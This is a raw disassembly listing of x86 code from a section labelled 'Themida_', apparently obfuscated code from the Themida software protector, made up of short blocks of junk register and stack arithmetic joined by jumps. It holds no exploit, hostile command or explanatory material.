loc_566864:				; CODE XREF: Themida_:0056C65Bj
		xor	ebx, 462A3686h
		not	ebx
		xor	ebx, 758D3FDFh
		sub	ebx, 0D569AE9Ah
		push	ebx
		xor	dword ptr [esp], 4AD17924h
		pop	edi
		xor	edi, 4AD17924h
		pop	ebx
		jmp	loc_571276
; ---------------------------------------------------------------------------


loc_56688D:				; CODE XREF: Themida_:0056689Dj
		mov	cl, 0ACh
		jmp	loc_56550E
; ---------------------------------------------------------------------------


loc_566894:				; CODE XREF: Themida_:0055EE44j
		add	bh, 0A4h
		sub	bh, cl
		sub	bh, 0A4h
		push	ecx
		jmp	loc_56688D
; ---------------------------------------------------------------------------


loc_5668A2:				; CODE XREF: Themida_:0055D5CFj
		push	4547h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	eax
		push	ebp
		jmp	loc_572445
; ---------------------------------------------------------------------------


loc_5668B9:				; CODE XREF: Themida_:005637D0j
		push	edx
		mov	edx, esp
		jmp	loc_56EC49
; ---------------------------------------------------------------------------


loc_5668C1:				; CODE XREF: Themida_:00561342j
		sub	bl, ah
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_566650
; ---------------------------------------------------------------------------


loc_5668D1:				; CODE XREF: Themida_:0056E15Aj
		add	eax, ecx
		pop	ecx
		push	2770h
		jmp	loc_55E0E9
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], edx
		push	esp
		pop	edx
		push	ebp
		push	edi
		jmp	loc_56B376
; ---------------------------------------------------------------------------


loc_5668F4:				; CODE XREF: Themida_:0056C090j
		sub	ch, 0ADh
		shr	ch, 8
		xor	ch, 32h
		mov	bl, ch
		pop	ecx
		xor	bl, 0F9h
		push	eax
		jmp	loc_5628FC
; ---------------------------------------------------------------------------


loc_566909:				; CODE XREF: Themida_:0056E674j
		shr	edx, 4
		add	edx, 574738B5h
		sub	edx, 70E661CFh
		dec	edx
		jmp	loc_55E1E3
; ---------------------------------------------------------------------------


loc_56691E:				; CODE XREF: Themida_:00571072j
		xor	ecx, 0F54B72D4h
		jmp	loc_55EC1A
; ---------------------------------------------------------------------------


loc_566929:				; CODE XREF: Themida_:00569EBAj
		pop	eax
		jmp	loc_55D534
; ---------------------------------------------------------------------------


loc_56692F:				; CODE XREF: Themida_:005649EBj
		mov	ebx, 64CC233Eh
		jmp	loc_571930
; ---------------------------------------------------------------------------


loc_566939:				; CODE XREF: Themida_:00567B42j
		sub	ebp, 589E0E60h
		shl	ebp, 5
		sub	ebp, 0A9A5A34Ah
		sub	eax, ebp
		pop	ebp
		push	4C4Bh
		mov	[esp], esi
		push	ebx
		push	3B5E04AAh
		pop	ebx
		dec	ebx
		jmp	loc_56F96C
; ---------------------------------------------------------------------------


loc_566960:				; CODE XREF: Themida_:00567DD3j
		mov	[esp], edi
		push	ebx
		jmp	loc_5609A8
; ---------------------------------------------------------------------------


loc_566969:				; CODE XREF: Themida_:0055E7EEj
		xchg	edi, [esp]
		pop	esp
		sub	[esp], ax
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_566977:				; CODE XREF: Themida_:0056F3F9j
		pop	edx
		jmp	loc_56EA96
; ---------------------------------------------------------------------------


loc_56697D:				; CODE XREF: Themida_:00567ED3j
		mov	ch, 3Eh
		sub	ch, ah
		mov	eax, [esp]
		push	edx
		jmp	loc_56A45A
; ---------------------------------------------------------------------------


loc_56698A:				; CODE XREF: Themida_:00571A1Aj
		inc	ecx
		and	ecx, 6C4E2738h
		add	ecx, 0C07135F2h
		sub	ebp, 36B259FBh
		add	ebp, ecx
		push	ebx
		mov	ebx, 5F6F0844h
		shr	ebx, 5
		jmp	loc_568431
; ---------------------------------------------------------------------------


loc_5669AD:				; CODE XREF: Themida_:005713EFj
		push	0FFFFFFFFh
		jmp	loc_5719C7
; ---------------------------------------------------------------------------


loc_5669B7:				; CODE XREF: Themida_:00565ACBj
		neg	edi
		jmp	loc_56F8A6
; ---------------------------------------------------------------------------


loc_5669BE:				; CODE XREF: Themida_:0056FA45j
		push	edx
		mov	edx, 26586A87h
		jmp	loc_56EE04
; ---------------------------------------------------------------------------


loc_5669C9:				; CODE XREF: Themida_:00560CCFj
		push	edi
		mov	edi, 1B78FAD6h
		mov	ebx, edi
		jmp	loc_571B41
; ---------------------------------------------------------------------------


loc_5669D6:				; CODE XREF: Themida_:005670D3j
		push	esi
		jmp	loc_564D9C
; ---------------------------------------------------------------------------


loc_5669DC:				; CODE XREF: Themida_:00565291j
		pop	edi
		add	eax, 4C6D6055h
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 41334503h
		sub	eax, 5E5672BEh
		push	edx
		mov	edx, 76F011E5h
		sub	eax, edx
		pop	edx
		sub	eax, ebx
		add	eax, 76F011E5h
		jmp	loc_5660CB
; ---------------------------------------------------------------------------


loc_566A0A:				; CODE XREF: Themida_:0055DB35j
		mov	eax, [esp]
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_563E56
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	3FDAh
		mov	[esp], ebp
		mov	ebp, 14A55EA5h
		add	eax, 23582384h
		push	esi
		jmp	loc_56EED4
; ---------------------------------------------------------------------------


loc_566A36:				; CODE XREF: Themida_:00561E89j
		add	eax, 0B9700F3Eh
		push	eax
		push	5E125Bh
		mov	eax, [esp]
		add	esp, 4
		sub	edx, eax
		jmp	loc_56BD8B
; ---------------------------------------------------------------------------


loc_566A4E:				; CODE XREF: Themida_:0056AA83j
		sub	cl, 12h
		mov	al, cl
		pop	ecx
		dec	al
		shl	al, 6
		push	dx
		mov	dl, 5Ah
		sub	al, dl
		pop	dx
		not	al
		push	edx
		mov	dl, 54h
		add	dl, 69h
		shr	dl, 8
		jmp	loc_569B4F
; ---------------------------------------------------------------------------


loc_566A71:				; CODE XREF: Themida_:00561FA5j
		sub	edi, 0CC9FF6C3h
		sub	eax, edi
		pop	edi
		pop	ecx
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_56FA93
; ---------------------------------------------------------------------------


loc_566A86:				; CODE XREF: Themida_:0055E988j
		pop	edi
		jmp	loc_56B3B1
; ---------------------------------------------------------------------------


loc_566A8C:				; CODE XREF: Themida_:0056F282j
		movsx	ecx, ax
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_569D6F
; ---------------------------------------------------------------------------


loc_566AAA:				; CODE XREF: Themida_:0056EA91j
		sub	esi, 4
		jmp	loc_569A8F
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	464Eh
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], esp
		push	ecx
		jmp	loc_56BAFD
; ---------------------------------------------------------------------------


loc_566ACD:				; CODE XREF: Themida_:0056C5D7j
		shl	dl, 6
		push	ebx
		jmp	loc_567513
; ---------------------------------------------------------------------------


loc_566AD6:				; CODE XREF: Themida_:005673BEj
		push	7E83h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_56B400
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DB3D


loc_566AEA:				; CODE XREF: sub_59DB3D-2CE3Cj
		push	eax
		jmp	loc_5613D2
; END OF FUNCTION CHUNK	FOR sub_59DB3D
; ---------------------------------------------------------------------------


loc_566AF0:				; CODE XREF: Themida_:005718C7j
		mov	eax, esp
		jmp	loc_56BDF4
; ---------------------------------------------------------------------------


loc_566AF7:				; CODE XREF: Themida_:0056DF30j
		pop	esi
		xor	ebp, edi
		push	dword ptr [esp]
		jmp	loc_56CF90
; ---------------------------------------------------------------------------


loc_566B02:				; CODE XREF: Themida_:0055E28Ej
		push	ecx
		mov	ecx, 2C3D4292h
		shl	ecx, 2
		or	ecx, 1BDF5A1Eh
		sub	ecx, 7B2264B6h
		jmp	loc_5607C0
; ---------------------------------------------------------------------------


loc_566B1C:				; CODE XREF: Themida_:0056CBE1j
		push	esp
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_568E2E
; ---------------------------------------------------------------------------


loc_566B26:				; CODE XREF: Themida_:0056534Fj
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_566B2B:				; CODE XREF: Themida_:0056A567j
		mov	bl, ah
		mov	eax, [esp]
		add	esp, 4
		push	edx
		push	eax
		mov	al, bl
		mov	dl, al
		pop	eax
		mov	ah, dl
		pop	edx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		mov	bh, ah
		pop	eax
		jmp	loc_570A2C
; ---------------------------------------------------------------------------


loc_566B51:				; CODE XREF: Themida_:0056D47Dj
		pop	ebx
		add	edi, 4
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_56EF27
; ---------------------------------------------------------------------------


loc_566B66:				; CODE XREF: Themida_:00568B29j
		mov	ecx, 6E852CC4h
		mov	edi, ecx
		pop	ecx
		mov	eax, edi
		pop	edi
		xor	ebp, eax
		jmp	loc_563DC3
; ---------------------------------------------------------------------------


loc_566B78:				; CODE XREF: Themida_:0056064Fj
		push	ebp
		inc	dword ptr [esp]
		mov	ebp, [esp]
		push	ebx
		jmp	loc_56513F
; ---------------------------------------------------------------------------


loc_566B85:				; CODE XREF: Themida_:005610BDj
		mov	[esp], edi
		mov	edi, 6DAA1315h
		sub	eax, edi
		pop	edi
		push	esi
		push	110130AFh
		pop	esi
		jmp	loc_55E293
; ---------------------------------------------------------------------------


loc_566B9C:				; CODE XREF: Themida_:0056172Dj
		pop	edi
		push	edx
		mov	edx, 141B8E6Ah
		add	edi, 4D650F2h
		add	edi, 7D906123h
		sub	edi, edx
		sub	edi, 7D906123h
		sub	edi, 4D650F2h
		pop	edx
		push	edi
		xor	dword ptr [esp], 508E6F67h
		pop	edx
		jmp	loc_56D41A
; ---------------------------------------------------------------------------


loc_566BCC:				; CODE XREF: Themida_:00570147j
		xor	ecx, ebx
		pop	ebx
		sub	ecx, 0FFFFFFFFh
		jmp	loc_56B18E
; ---------------------------------------------------------------------------


loc_566BD7:				; CODE XREF: Themida_:005684F1j
		sub	edx, 60E160A4h
		add	edx, ebx
		add	edx, 60E160A4h
		mov	ebx, [esp]
		add	esp, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		add	al, 49h
		add	al, bh
		jmp	loc_55D7F6
; ---------------------------------------------------------------------------


loc_566C03:				; CODE XREF: Themida_:00564C11j
		mov	eax, [esp]
		add	esp, 4
		add	ebx, 383E0CAFh
		add	ebx, eax
		push	edi
		jmp	loc_56F165
; ---------------------------------------------------------------------------


loc_566C17:				; CODE XREF: Themida_:0055D75Bj
		pop	ebp
		jmp	loc_565346
; ---------------------------------------------------------------------------


loc_566C1D:				; CODE XREF: Themida_:0055E13Fj
		sub	bl, cl
		sub	bl, 85h
		jmp	loc_5626D6
; ---------------------------------------------------------------------------


loc_566C27:				; CODE XREF: Themida_:00564874j
		mov	edx, 4
		sub	ebx, edx
		jmp	loc_56B08C
; ---------------------------------------------------------------------------


loc_566C33:				; CODE XREF: Themida_:00560B8Cj
		push	dword ptr [esp]
		pop	esi
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		push	edi
		mov	edi, 4
		jmp	loc_562C38
; ---------------------------------------------------------------------------


loc_566C4D:				; CODE XREF: Themida_:0055F10Cj
		mov	edi, 20912A2h
		xor	edi, 4BC83FB8h
		and	edi, 607E1B64h
		jmp	loc_56973D
; ---------------------------------------------------------------------------


loc_566C63:				; CODE XREF: Themida_:0057140Aj
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], bx
		mov	bx, 39AEh
		jmp	loc_561299
; ---------------------------------------------------------------------------


loc_566C76:				; CODE XREF: Themida_:00572716j
		add	edi, 10D16526h
		pop	ebp
		movzx	eax, al
		jmp	loc_55FA42
; ---------------------------------------------------------------------------


loc_566C85:				; CODE XREF: Themida_:0056C1F5j
		push	ecx
		xchg	edx, [esp]
		not	edx
		xchg	edx, [esp]
		push	dword ptr [esp]
		pop	ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		sub	ecx, 1
		not	ecx
		add	ecx, 6470713Ch
		jmp	loc_56DB15
; ---------------------------------------------------------------------------


loc_566CB5:				; CODE XREF: Themida_:005642AAj
		xor	eax, [esp]
		mov	esp, [esp]
		add	ebx, 4F25E78h
		push	ebp
		jmp	loc_56FBB3
; ---------------------------------------------------------------------------


loc_566CC7:				; CODE XREF: Themida_:005700CEj
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_566CCC:				; CODE XREF: Themida_:00565EF0j
		push	eax
		mov	eax, 6F681F11h
		sub	ebx, eax
		pop	eax
		pop	edi
		or	ebx, 43DF15DCh
		sub	ebx, 14570F3Ch
		jmp	loc_568C45
; ---------------------------------------------------------------------------


loc_566CE7:				; CODE XREF: Themida_:0056FA00j
		pop	edx
		push	small 7D5Eh
		jmp	loc_568CDB
; ---------------------------------------------------------------------------


loc_566CF1:				; CODE XREF: Themida_:00569DB8j
		mov	esp, [esp]
		add	esp, 4
		jmp	loc_5722E7
; ---------------------------------------------------------------------------


loc_566CFC:				; CODE XREF: Themida_:0056A608j
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5665C1
; ---------------------------------------------------------------------------


loc_566D07:				; CODE XREF: Themida_:0055E147j
		xor	ecx, [esp]
		jmp	loc_564D90
; ---------------------------------------------------------------------------


loc_566D0F:				; CODE XREF: Themida_:0055FF55j
		mov	eax, 19C9028Ah
		add	eax, 4F4408BDh
		sub	edx, eax
		mov	eax, [esp]
		add	esp, 4
		add	edx, 4D243466h
		jmp	loc_572AAA
; ---------------------------------------------------------------------------


loc_566D2F:				; CODE XREF: Themida_:00567A63j
		push	2314h
		mov	[esp], ebx
		mov	ebx, 78DC78E9h
		or	ecx, ebx
		pop	ebx
		sub	ecx, 5416278Ch
		add	esi, ecx
		pop	ecx
		push	edi
		jmp	loc_57257A
; ---------------------------------------------------------------------------


loc_566D4E:				; CODE XREF: Themida_:0056E792j
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		sub	esp, 4
		jmp	loc_570DF4
; ---------------------------------------------------------------------------


loc_566D6E:				; CODE XREF: Themida_:00560E5Ej
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		xor	[esp], al
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------
		xor	[esp], ecx
		jmp	loc_55E05B
; ---------------------------------------------------------------------------


loc_566D9B:				; CODE XREF: Themida_:0056AC7Fj
		mov	edx, 62023D5Eh
		jmp	loc_56CFD5
; ---------------------------------------------------------------------------


loc_566DA5:				; CODE XREF: Themida_:00570BE0j
		push	ebp
		mov	ebp, 681A3751h
		jmp	loc_56BED1
; ---------------------------------------------------------------------------


loc_566DB0:				; CODE XREF: Themida_:0057146Ej
		push	eax
		push	58D449FAh
		pop	eax
		not	eax
		shr	eax, 7
		inc	eax
		xor	eax, 2B9A5CBAh
		xor	eax, 56E43256h
		push	ecx
		mov	ecx, 6935515Eh
		sub	ebx, ecx
		jmp	loc_56AE86
; ---------------------------------------------------------------------------


loc_566DD4:				; CODE XREF: Themida_:0055F6A2j
		pop	ecx
		pop	cx
		sub	bl, 0ECh
		movzx	eax, al
		mov	dx, [esp]
		jmp	loc_562F0A
; ---------------------------------------------------------------------------


loc_566DE6:				; CODE XREF: Themida_:00564898j
		push	edx
		jmp	loc_56D43D
; ---------------------------------------------------------------------------


loc_566DEC:				; CODE XREF: Themida_:0056A9B9j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_565BE3
; ---------------------------------------------------------------------------


loc_566DFE:				; CODE XREF: Themida_:0055E962j
		mov	bh, 0FAh
		mov	dh, bh
		pop	ebx
		jmp	loc_57040C
; ---------------------------------------------------------------------------


loc_566E08:				; CODE XREF: Themida_:005689CFj
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		sub	eax, 4
		jmp	loc_5691D7
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ecx
		push	7FF5h
		jmp	loc_565B66
; ---------------------------------------------------------------------------


loc_566E41:				; CODE XREF: Themida_:0056E7CDj
		xor	ecx, 0F6ACBA20h
		jmp	loc_5721ED
; ---------------------------------------------------------------------------


loc_566E4C:				; CODE XREF: Themida_:00567A39j
		dec	ebp
		jmp	loc_561F7A
; ---------------------------------------------------------------------------


loc_566E52:				; CODE XREF: Themida_:00560312j
		mov	bh, 0E7h
		add	bh, 7
		not	bh
		shl	bh, 8
		not	bh
		xor	bh, 9Bh
		mov	dl, 0A3h
		add	dl, 0F5h
		sub	dl, bh
		sub	dl, 0F5h
		mov	ebx, [esp]
		add	esp, 4
		add	al, 27h
		sub	al, dl
		sub	al, 27h
		pop	dx
		push	eax
		push	esp
		pop	eax
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		push	edx
		push	4
		pop	edx
		jmp	loc_567E3A
; ---------------------------------------------------------------------------


loc_566E91:				; CODE XREF: Themida_:0056C662j
		push	7794746Ch
		pop	eax
		shr	eax, 7
		add	eax, 0FF10D71Ch
		mov	ebx, eax
		pop	eax
		add	edi, ebx
		jmp	loc_5626BB
; ---------------------------------------------------------------------------


loc_566EA9:				; CODE XREF: Themida_:005661D3j
		mov	[esp], edi
		push	edx
		mov	edx, 56302FFCh
		jmp	loc_56B6D6
; ---------------------------------------------------------------------------


loc_566EB7:				; CODE XREF: Themida_:00568972j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_566496
; ---------------------------------------------------------------------------


loc_566ECC:				; CODE XREF: Themida_:0056318Cj
		sub	ebp, ecx
		jmp	loc_56F43A
; ---------------------------------------------------------------------------


loc_566ED3:				; CODE XREF: Themida_:0056DD3Aj
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		not	esi
		push	edi
		mov	edi, 686221DFh
		jmp	loc_565BBC
; ---------------------------------------------------------------------------


loc_566EEA:				; CODE XREF: Themida_:0056B8C0j
		add	eax, 4
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_55DBD9
; ---------------------------------------------------------------------------


loc_566F07:				; CODE XREF: Themida_:005634DDj
		sub	dword ptr [esp], 49990C05h
		pop	esi
		add	esi, 49990C05h
		jmp	loc_571E26
; ---------------------------------------------------------------------------


loc_566F1A:				; CODE XREF: Themida_:00566821j
		pop	esp
		push	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_567051
; ---------------------------------------------------------------------------


loc_566F26:				; CODE XREF: Themida_:00564F30j
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		push	esp
		jmp	loc_56C9CF
; ---------------------------------------------------------------------------


loc_566F38:				; CODE XREF: Themida_:0056CB2Cj
		add	ecx, 2
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		btr	[esp], ax
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------
		lodsb
		push	edx
		jmp	loc_5667CD
; ---------------------------------------------------------------------------


loc_566F59:				; CODE XREF: Themida_:005649FEj
		push	ecx
		mov	ecx, 44B47F0Eh
		xor	ecx, 60233C67h
		or	ecx, 5CEF6E98h
		shr	ecx, 1
		sub	ecx, 65506A66h
		shr	ecx, 3
		xor	ecx, 1B25E9B6h
		jmp	loc_569B92
; ---------------------------------------------------------------------------


loc_566F81:				; CODE XREF: Themida_:00571CF3j
		add	edx, 3182578Dh
		mov	eax, [esp]
		add	esp, 4
		add	edx, 1
		or	edx, 25E12EFCh
		or	edx, 7EB7607Ah
		add	edx, 14D56813h
		push	esi
		mov	esi, 5E701746h
		jmp	loc_563A5A
; ---------------------------------------------------------------------------


loc_566FB3:				; CODE XREF: Themida_:005695B6j
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_566FB8:				; CODE XREF: Themida_:00566589j
		xor	edx, esi
		pop	esi
		jmp	loc_563754
; ---------------------------------------------------------------------------


loc_566FC0:				; CODE XREF: Themida_:0056A4EFj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		sub	esp, 2
		mov	[esp], dx
		jmp	loc_55E8C3
; ---------------------------------------------------------------------------
		push	691Ch
		mov	[esp], edx
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_566FEB:				; CODE XREF: Themida_:0056F94Bj
		xor	esi, 71620C1Ch
		mov	ebx, esi
		jmp	loc_563B34
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		jmp	loc_570507
; ---------------------------------------------------------------------------
		lodsd
		push	edx
		jmp	loc_56886F
; ---------------------------------------------------------------------------


loc_56700B:				; CODE XREF: Themida_:0056D6C0j
		xor	esi, 2E3C7FCCh
		add	edi, esi
		jmp	loc_56F924
; ---------------------------------------------------------------------------


loc_567018:				; CODE XREF: Themida_:0055F003j
		push	46657CB2h
		pop	esi
		shl	esi, 8
		neg	esi
		jmp	loc_568365
; ---------------------------------------------------------------------------


loc_567028:				; CODE XREF: Themida_:005723E2j
		push	666Ah
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 77503F68h
		jmp	loc_56A27E
; ---------------------------------------------------------------------------


loc_567040:				; CODE XREF: Themida_:0056B570j
		pop	ecx
		not	dh
		jmp	loc_562FAA
; ---------------------------------------------------------------------------


loc_567048:				; CODE XREF: Themida_:0056FD70j
		pop	ebp
		push	dword ptr [esp]
		jmp	loc_56E82A
; ---------------------------------------------------------------------------


loc_567051:				; CODE XREF: Themida_:00566F21j
		push	593Ch
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_56F1C1
; ---------------------------------------------------------------------------


loc_567066:				; CODE XREF: Themida_:00568B55j
		shr	dword ptr [esp], cl
		pushf
		jmp	loc_571A8F
; ---------------------------------------------------------------------------


loc_56706F:				; CODE XREF: Themida_:00564D8Bj
		pop	edi
		add	esi, 9316E2Bh
		add	esi, 0A0F26A33h
		sub	ecx, esi
		jmp	loc_5665A1
; ---------------------------------------------------------------------------


loc_567083:				; CODE XREF: Themida_:0056A28Cj
		dec	eax
		jmp	loc_56E95F
; ---------------------------------------------------------------------------


loc_567089:				; CODE XREF: Themida_:00567B57j
		mov	[esp], ebp
		push	edi
		push	esp
		jmp	loc_56D5D9
; ---------------------------------------------------------------------------


loc_567093:				; CODE XREF: Themida_:0056B849j
		xor	ebp, 10CA3E34h
		push	2E7Bh
		mov	[esp], ebp
		jmp	loc_56FEA8
; ---------------------------------------------------------------------------


loc_5670A6:				; CODE XREF: Themida_:00569340j
		push	0DC5AEF7Ah
		pop	eax
		jmp	loc_55F36E
; ---------------------------------------------------------------------------


loc_5670B1:				; CODE XREF: Themida_:00568A42j
		mov	[esp], edi
		push	ebp
		push	51D8036Ah
		pop	ebp
		jmp	loc_56301A
; ---------------------------------------------------------------------------


loc_5670C0:				; CODE XREF: Themida_:00562D15j
		xor	ebx, [esp]
		jmp	loc_5656E4
; ---------------------------------------------------------------------------


loc_5670C8:				; CODE XREF: Themida_:0056017Aj
		mov	ebp, 13F42C6Fh
		jmp	loc_570486
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_5669D6
; ---------------------------------------------------------------------------


loc_5670D8:				; CODE XREF: Themida_:0056B063j
		add	edi, 9B47638h
		push	ecx
		mov	ecx, 0F95312Ch
		add	edi, ecx
		jmp	loc_55EC88
; ---------------------------------------------------------------------------


loc_5670EB:				; CODE XREF: Themida_:0056E40Bj
		sub	ecx, 32130ABBh
		pop	esi
		push	edx
		jmp	loc_5608D2
; ---------------------------------------------------------------------------


loc_5670F8:				; CODE XREF: Themida_:0056EAF1j
		sub	edi, ebp
		pop	ebp
		jmp	loc_56E50E
; ---------------------------------------------------------------------------


loc_567100:				; CODE XREF: Themida_:0056A951j
		xor	dword ptr [ecx], 2DEC0625h
		pop	ecx
		pop	eax
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_567F3E
; ---------------------------------------------------------------------------


loc_567113:				; CODE XREF: Themida_:00571C71j
		push	406h
		mov	[esp], ebx
		mov	ebx, 6E1EA3h
		add	ebx, 30A068B7h
		shl	ebx, 5
		jmp	loc_5709D3
; ---------------------------------------------------------------------------


loc_56712E:				; CODE XREF: Themida_:00567F91j
		mov	[esp], ecx
		mov	ecx, 2E02255Fh
		push	eax
		mov	eax, 171B2622h
		xor	eax, 73A667Eh
		add	edx, eax
		pop	eax
		sub	edx, 75980E7Ch
		sub	edx, ecx
		add	edx, 75980E7Ch
		sub	edx, 1021405Ch
		mov	ecx, [esp]
		jmp	loc_568182
; ---------------------------------------------------------------------------


loc_567160:				; CODE XREF: Themida_:00572257j
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_56958D
; ---------------------------------------------------------------------------


loc_56716C:				; CODE XREF: Themida_:0056BAD6j
		or	eax, ecx
		pop	ecx
		xchg	eax, edi
		not	edi
		push	eax
		push	edi
		mov	eax, [esp]
		add	esp, 4
		pop	edi
		neg	eax
		push	esi
		push	edi
		push	eax
		mov	eax, 0E9F12E9h
		jmp	loc_56677E
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	byte ptr [esp],	cl
		pushf
		jmp	loc_56C728
; ---------------------------------------------------------------------------


loc_567199:				; CODE XREF: Themida_:0056D27Cj
		mov	ebx, ecx
		mov	ebp, ebx
		pop	ebx
		pop	ecx
		pop	ebx
		add	esi, ebp
		mov	ebp, [esp]
		jmp	loc_561365
; ---------------------------------------------------------------------------


loc_5671AA:				; CODE XREF: Themida_:00562C98j
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	ecx
		push	ebx
		mov	bh, 10h
		and	bh, 75h
		xor	bh, 27h
		mov	ch, bh
		pop	ebx
		xor	ch, 0E9h
		or	ch, 0A2h
		shr	ch, 7
		shr	ch, 4
		inc	ch
		xor	ch, 0DEh
		mov	bl, ch
		mov	ecx, [esp]
		add	esp, 4
		and	bl, 2Dh
		push	edx
		push	ecx
		mov	cl, 0D6h
		push	eax
		jmp	loc_55EAB7
; ---------------------------------------------------------------------------


loc_5671E9:				; CODE XREF: Themida_:00571EA4j
		pop	edx
		jmp	loc_561E7C
; ---------------------------------------------------------------------------


loc_5671EF:				; CODE XREF: Themida_:0056F05Fj
		add	esi, edx
		mov	edx, [esp]
		jmp	loc_56E1B8
; ---------------------------------------------------------------------------


loc_5671F9:				; CODE XREF: Themida_:0056F16Aj
		and	edi, 35D94E98h
		jmp	loc_560E08
; ---------------------------------------------------------------------------


loc_567204:				; CODE XREF: Themida_:0056964Bj
		add	ecx, edx
		pop	edx
		add	ecx, 2F951640h
		neg	ecx
		xor	ecx, 14861922h
		xor	ecx, 92B71EE4h
		push	ebx
		jmp	loc_561A8A
; ---------------------------------------------------------------------------


loc_567221:				; CODE XREF: Themida_:0056D2E8j
		add	edx, ebp
		pop	ebp
		pop	ecx
		add	eax, edx
		pop	edx
		jmp	loc_56CCC8
; ---------------------------------------------------------------------------


loc_56722D:				; CODE XREF: Themida_:0056F2CFj
		mov	esi, 4
		add	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55F868
; ---------------------------------------------------------------------------


loc_567242:				; CODE XREF: Themida_:005703F4j
		mov	ax, bx
		pop	bx
		sub	word ptr [esp+4], 54F2h
		add	[esp+4], ax
		add	word ptr [esp+4], 54F2h
		jmp	loc_56F88F
; ---------------------------------------------------------------------------


loc_56725F:				; CODE XREF: Themida_:0055FF60j
		pop	ebp
		sub	ebx, 2CBD1617h
		add	ebx, ecx
		add	ebx, 2CBD1617h
		sub	ebx, 5DDE25FAh
		push	edx
		jmp	loc_568D61
; ---------------------------------------------------------------------------


loc_56727A:				; CODE XREF: Themida_:0056DB22j
		shr	ebp, 2
		jmp	loc_55FB63
; ---------------------------------------------------------------------------


loc_567282:				; CODE XREF: Themida_:00567F4Dj
		mov	ebp, 234832BDh
		shr	ebp, 8
		jmp	loc_56EC77
; ---------------------------------------------------------------------------


loc_56728F:				; CODE XREF: Themida_:005726C0j
		mov	ebp, 60D41AC0h
		jmp	loc_56D1EC
; ---------------------------------------------------------------------------


loc_567299:				; CODE XREF: Themida_:0056D3ECj
		mov	edx, 10C42D8Eh
		jmp	loc_56C3C5
; ---------------------------------------------------------------------------


loc_5672A3:				; CODE XREF: Themida_:0056272Aj
		add	ebx, edi
		add	ebx, 5DE44D24h
		pop	edi
		push	esi
		push	2
		pop	esi
		push	ecx
		mov	ecx, 565702FBh
		jmp	loc_56127F
; ---------------------------------------------------------------------------


loc_5672BE:				; CODE XREF: Themida_:00567CF1j
		xor	ebp, 3141DE6h
		shl	ebp, 4
		xor	ebp, 0D381E6h
		mov	esi, ebp
		jmp	loc_57082D
; ---------------------------------------------------------------------------


loc_5672D4:				; CODE XREF: Themida_:0057051Fj
		add	ebx, 4
		add	ebx, 4
		jmp	loc_57093B
; ---------------------------------------------------------------------------


loc_5672E5:				; CODE XREF: Themida_:00571D94j
		pop	ecx
		push	eax
		mov	eax, 0C4A9562Ch
		jmp	loc_56A6D8
; ---------------------------------------------------------------------------


loc_5672F1:				; CODE XREF: Themida_:0056943Aj
		pop	esp
